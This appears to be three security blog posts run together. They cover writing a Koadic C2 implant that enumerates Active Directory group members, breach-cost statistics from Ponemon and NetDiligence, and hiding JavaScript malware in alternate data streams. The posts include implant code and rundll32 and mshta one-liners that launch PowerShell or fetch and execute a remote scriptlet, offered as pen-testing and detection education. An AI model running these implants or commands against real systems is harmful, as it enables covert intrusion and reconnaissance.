One of the benefits of working with Koadic is that you too can try your hand at making enhancements. The Python environment with its nicely organized directory structures lends itself to being tweaked. And if you want to take the ultimate jump, you can add your own implants.

The way to think about Koadic is that it’s a C2 server that lets you deliver JavaScript malware implants to the target and then interact with them from the comfort of your console.

Sure there’s a learning curve to understanding the way the code really ticks. But I can save you hours of research and frustration: each implant has two sides, a Python shell (found in the implant/modules directory) and the actual JavaScript (located in a parallel implant/data directory).

To add a new implant, you need to code up these two parts. And that’s all you need to know. Not quite. I’ll get into some more details below.

So what would be a useful implant to aim for?

Having already experienced the power of PowerView, the PowerShell pen-testing library for querying Active Directory, I decided to add an implant to list AD members for a given group. It seemed like something I can do over a few afternoons, provided I had enough caffeine.

Active Directory Group Members a la Koadic

As I’ve been saying in my various blog series, pen testers have to think and act like hackers in order to effectively probe defenses. A lot of post-exploitation work is learning about the IT landscape. As we saw with PowerView, enumerating users within groups is a very good first step in planning a lateral move.

If you’ve never coded the JavaScript to access Active Directory, you’ll find oodles of online examples on how to set up a connection to a data source using the ADODB object — for example this tutorial. The trickiest part is fine tuning the search criteria.

You can either use SQL-like statements, or else learn the more complex LDAP filter syntax. At this point, it’s probably best to look at the code I cobbled together to do an extended search of an AD group.

objConnection = new ActiveXObject("ADODB.Connection");
objConnection.Provider="ADsDSOObject";
objConnection.Open("Active Directory Provider");
objCommand = new ActiveXObject( "ADODB.Command");


Koadic.work.report("Gathering users ...");
strDom = "<LDAP://"+strDomain+">";
strFilter = "(&(objectCategory=person)(objectClass=user)(memberOf=cn=~GROUP~,cn=Users,"+strDomain+"))";  //Koadic replaces ~GROUP~ with info field
strAttributes = "ADsPath";

strQuery = strDom + ";" + strFilter + ";" + strAttributes + ";Subtree";

objCommand.CommandText=strQuery;

objRecordSet = objCommand.Execute();
objRecordSet.Movefirst;
user_str="";
while(!(objRecordSet.EoF)) {

  user_str +=objRecordSet.Fields("ADsPath").value;
  user_str +="\n";
  objRecordSet.MoveNext;
}
Koadic.work.report(user_str);
Koadic.work.report("...Complete");

I wanted to enumerate the users found in all the underlying subgroups. For example, in searching Domain Admins, the query shouldn’t stop at the first level. The “Subtree” parameter above does the trick. I didn’t have the SQL smarts to work this out in a single “select” statement, so the LDAP filters were the way to go in my case.

I tested the JavaScript independently of Koadic, and it worked fine. Victory!

There’s a small point about how to return the results to the C2 console. Koadic solves this nicely through its own JS support functions. There’s a set of these that lets you collect output from the JavaScript and then deliver it over a special encrypted channel. You can see me doing that with the Koadic.work.report function, which I added to the original JavaScript code.

And this leads nicely to the Python code — technically the client part of the C2 server. For this, I copied and adjusted from an existing Koadic implant, which I’m calling enum_adusers. You can view a part of my implant below.

import core.implant
import uuid

class ADUsersJob(core.job.Job):
    def done(self):
        self.display()
    def display(self):
        if len(self.data.splitlines()) > 10:
            self.shell.print_plain("Lots of users! Only printing first 10 lines...")
            self.shell.print_plain("\n".join(self.data.splitlines()[:10]))
            save_file = "/tmp/loot."+self.session.ip+"."+uuid.uuid4().hex
            with open(save_file, "w") as f:
              f.write(self.data)
            self.shell.print_good("Saved loot list to "+save_file)
        else:
            self.shell.print_plain(self.data)

To display the output sent by the JavaScript side of the implant to the console, I use some of the Python support provided by Koadic’s shell class, in particular the print methods. Under the hood, Koadic is scooping up the data sent by the JavaScript code’s report function, and displaying it to the console.

By the way, Koadic conveniently allows you to reload modules on the fly without having to restart everything! I can tweak my code and use the “load” command in the Koadic console to activate the updates.

My very own Koadic implant. And notice how I was able to change the code on the fly, reload it, and then run it.

I went into detail about all this, partially to inspire you to roll your own implants. But also to make another point. The underlying techniques that Koadic relies on —  rundll32 and mshta — have been known about by hackers for years. What Koadic does is make all this hacking wisdom available to pen testers in a very flexible and relatively simple programming environment.

Some Pen Testing Wisdom

Once you get comfortable with Koadic, you can devise your own implants, quickly test them, and get to the more important goal of pen testing — finding and exploring security weaknesses

Let’s say I’m really impressed by what Sean and Zach have wrought, and Koadic has certainly sped up my understanding of the whole testing process.

For example, a funny happened when I first went to try my enum_adusers implant. It failed with an error message reading something like this,“ Settings on this computer prohibit accessing a data source on another domain.”

I was a little surprised.

If you do some googling you’ll learn that Windows Internet security controls has a special setting to allow browser scripts to access data sources. And in my AWS testing environment, the Amazon overlords wisely made sure that this was disabled for my server instance, which, it should be noted, is certainly not a desktop environment. I turned it on just to get my implant to pull in AD users to work.

Gotcha! Enabling “Access data sources across domain” allowed my implant to work. But it’s a security hole!

Why was the JavaScript I coded for the Koadic implant being treated as if it were a browser-based script, and therefore blocked from making the connection to Active Directory?

Well, because technically it is running in a browser! As I mentioned last time, the Koadic scripts are actually executed by mshta, which is Microsoft’s legacy product for letting you leverage HTML for internal business apps.

The real pen testing wisdom I gained is that if this particular script runs, it means that the remote data source security control is enabled, which is not a good thing, even and perhaps especially on a server.

Next time, I’ll be wrapping up this series, and talk about defending against the kinds of attacks that Koadic represents — stealthy script-based malware.

Continue reading the next post in "Koadic Post-Exploitation Rootkit"

Koadic: Security Defense in the Age of LoL Malware, Part IV

Those of us in the infosec community eagerly await the publication of Ponemon’s annual breach cost analysis in the early summer months. What would summer be without scrolling through the Ponemon analysis to learn about last year’s average incident costs, average per record costs, and detailed industry breakdowns? You can find all this in the current report. But then Ponemon did something astonishing.

The poor souls who made it through my posts on breach costs stats learned that datasets used here are not normal. I mean that literally. They don’t correspond to a standard normal or bell curve. We also know from more in-depth studies that the data points are skewed with “heavy tails”, and are more accurately represented by power laws.

What does that have to do with Ponemon’s cost analysis?

Ponemon has avoided the issues of dealing with skewed data by lopping off the outliers — they don’t look at breach incidents above 100,000 records. Sure, you lose some information, but then the stats are more meaningful to the companies — most of them — that don’t live in the long tail of the curve.

Monster Breaches Are Costly. Very Costly.

Brace yourself. For 2018, Ponemon started looking at the dragon’s tail. They’ve included an analysis of mega data breaches involving incidents of over one million records.

First, let’s get the bad news out of the way. Since Ponemon only had 11 companies in their mega breach sample, they had to perform, gulp, a Monte Carlo analysis. That’s a fancy of way saying they were forced to make some guesses about a few of the parameters in their model, so they are randomly “sampled” to generate them.

The more important point is that in their graph below of breach costs vs. records stolen, the data points show a sub-linear or (more technically, a log-linear) relationship — the costs grow slower than a straight line. Double the number of records stolen, and the total breach cost is less than double.

Breach costs grow slower than a straight line. (Source: Ponemeon, 2018)

And that’s exactly what other researchers have seen with breach costs. I also pointed this interesting factoid out in my breach cost series — you can learn more here.

For CFOs and CIOs, there’s a drop of a good news in this slow growing curve.  It means that the cost per record drops as more records are involved.

For a data theft of 20 million records, the graph above indirectly tells us the average cost is about $18 per record, and at 50 million records, the per record cost decreases to about $7.

I suppose that may sound benign when quickly said in a presentation, but on the other hand … the total cost for a 50 million record theft is over $350 million.

And that’s something no board of directors wants to hear!

NetDiligence: Real-World Verification

While Ponemon’s theoretical analysis of mega breach costs is interesting, there is a dataset that sheds more light on real-world costs of these huge breaches. This comes to us courtesy of NetDiligence, a data risk analysis firm that has obtained access to actual claims data processed by cyber-insurance companies.

I looked at NetDiligence’s latest report for the period 2014 – 2017 period. It provides further validation that data breach costs at the high-end are, indeed, expensive.

According to NetDiligence, the average breach cost for the 591 claims in their dataset was about $394,000. They also calculated a median cost at a mere $56,000. Hmmm, with 50% of the data or 245 claims above $56K, there have to be monster incidents to explain the fact that average is about seven times higher than the median. This is the sign of a non-normal data set — the heavy-tailed curve that we typically see with breach stats.

I can do a quick back-of-the-envelope analysis to give you a better sense of mega costs lurking in the NetDiligence stats. Feel free to skip this next part if doing a multiplication with an average makes you slightly nauseous.

The total breach costs in the claims dataset is about $233 million (591 x 394,000). There’s a negligible amount of the total cost below the median – at most 56,000*246 or about $14 million. That leaves $219 million in costs above the median, which is then spread out over 245 claims. That means that the upper 50% has a  average cost of at least $890,000.

If you make some other assumptions – similar to what I did here — you quickly get to breach incidents in the millions of dollars for the top percentiles.

Anyway, NetDiligence doesn’t give away too many details about individual breach incidents in their analysis. But further down in the report, they reference some of the extreme costs in their claims dataset. This shows up in a table that breaks down costs by business size.

There are some monster incidents hidden in this table: $11 million, $15 million, and $16 million. (Source: NetDiligence)

If you look at the “Max” column, you can see that there are several incidents above $10 million. That ain’t chicken feed.

One Last Thing

It’s worth mentioning that Ponemon also includes indirects costs for incidents, which is based heavily on customer churn. This cost doesn’t show up in the cyber insurance claims because it’s based on hard costs —  legal fees, fines, credit monitoring, remediation efforts, etc.

In other words, Ponemon’s incident cost analysis will always trend significantly higher than the numbers from actual insurance claims. Ponemon’s costs numbers, though, are probably closer to a real-world cost, particularly for larger companies. And especially for public companies, where breach incidents can affect overall valuations. For example, Yahoo.

The key takeaway is that the headline-making breach incidents (Equifax, Yahoo, etc.) tell us about the very far end of the cost tail. The NetDiligence report in particular proves that there are still expensive data breaches, in the tens of millions of dollars, living in the middle of the tail.  And these are likely less publicized, and more typically experienced.

I’ll have more to talk about for both the Ponemon and NetDiligence reports in a future post.

Last time, we saw how sneaky hackers can copy malware into the Alternate Data Stream (ADS) associated with a Windows file. I showed how this can be done with the ancient type command. As it turns out, there are a few other Windows utilities that also let you copy into an ADS.

For example, extract, expand, and our old friend certutil are all capable of performing this ADS trick. For a complete list of these secret file-copying binaries, check out Oddvar Moe’s latest gist.

In my testing, I used extract to copy an evil Javascript malware into the ADS of a .doc file.

In the old command shell, dir /r shows you the ADS for each file.

Ready, Set, Launch

This brings up a larger point about Windows utilities: they can perform multiple functions — some of them less well known than others. In fact, the aforementioned utilities listed by Oddvar are all capable of a normal file copy as well as the ADS variant.

This is not a revelation in itself. However, it does means that security monitoring software that’s trying to detect, say, an unusual file copy or transfer can’t just rely on searching the Windows Event logs for a “copy” in the command line. Living-off-the-land (LoL) is all about trickery and making it harder for the defense to understand their IT systems are even under an attack.

This leads to a favorite topic of the IOS blog: security software that doesn’t have visibility into the underlying file systems structures can be easily tricked by hackers. Oh wait, there just happens to be a solution that looks under the file system hood and so won’t be taken in by these LoL techniques.

Let’s get back to the actual execution of the evil malware embedded in the ADS. There are a few ways to accomplish this. You can embed JavaScript, as I did last time, and then execute the ADS using wscript, the Windows-based app that runs scripting engine.

For kicks, I tried cscript, which is the command-line version, and you can gaze on the GIF I created of my hacking session:

You are getting sleepy as you watch this GIF showing JavaScript malware launched from the ADS. Sleepy.

Can you embed an HTA file and launch the malware with mshta? Affirmative.

And PowerShell works fine as well. Oddvar Moe also has a great post enumerating different ways to launch executables from the ADS. Thanks (again) Oddvar!

Back to the Event Logs

I confess to being a little reluctant to turn on more granular event auditing on my Virtual Box environment – it’s already a sluggish thing as it is.

I threw caution to the wind, and enabled the command line auditing setting, which can be found buried in the GPO console under \Computer Configuration\Administrative Templates\System\Audit Process Creation. Now, I’ll be able to see command line arguments for every process that’s launched. And having previously enabled PowerShell command logging, I’ll be faced with an embarrassment of logging riches.

To its credit, Windows logs very detailed information — for example, the ADS I referenced when I launched my aforementioned evil JavaScript:

Got you! With command line auditing, the reference to the JavaScript hidden in the ADS is now visible for all to see in log.

There’s also a log entry displaying the actual PowerShell code (launched by the JavaScript) — in my scenario, it pulls down a remote PowerShell script and then executes it:

Hmmm, a PowerShell session that downloads and executes a remote script. Wonder if it’s connected with JavaScript in the ADS file?

Even with all this extra information in the log, it’s still not necessarily an easy task — there are tools to help, of course — to correlate these two separate events, the cscript and the PowerShell session, and then determine that there’s abnormal activities taking place.

One More Thing: Rundll32 and Command Line JavasScript

If you don’t enable Windows granular command line tracking and PowerShell auditing for performance reasons, then data security monitoring and incident detection becomes almost impossible when faced with  malware-free techniques used by hackers. To add to the security conundrum, hackers have even more tricks up their virtual sleeves to make life difficult for IT security groups.

Some Lol-ware that accepts a local script file or remote URL reference — for example, mshta — also allows raw JavaScript (or VBScript) to be passed into the command line!

I’ve not mentioned rundll32 before, but it’s a LoL binary that has this direct JavaScript capability. The following bit of script using rundll32 does as advertised — launching a PowerShell session that then writes a little “Boo” message. In real world hacking, this message would be replaced with the first step in the attack.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c write-host BooHaaa!");

Infosec analysts who are searching through raw Windows logs on a server in which granular auditing has been disabled will have a difficult time working out a connection between a rundll32 process event and a subsequent PowerShell event. Unless they’ve read this post!

There’s still more.

Remember scriplets, those bits of JavaScript that can be treated like COM objects?

So … here’s a great one-liner that uses GetObject to pull in a remote scriptlet and then execute it locally. You just need a small bit of JavaScript (or VBScript) to call the GetObject method. Both rundll32 and mshta can accept the script directly. And the mshta version using VBScript to call GetObject is as follows:

mshta vbscript:Close(Execute("GetObject(""script:http://yourserver/thing.sct"")"))

Basta!

I think we’ve covered enough ground in this post. At the end of day, I’m presenting different ways hackers can inflict pain on a beleaguered IT security group. If you’re looking for homework till next time, you can ponder these last two scripts, and study this Stack Overflow article explaining how rundll32 does its magic. We’ll take another look at rundll32, and I’ll chat about some ways to protect against this hacker voodoo.

Continue reading the next post in "Living off the Land With Microsoft"

The Malware Hiding in Your Windows System32 Folder: More Rundll32 and LoL Security Defense Tips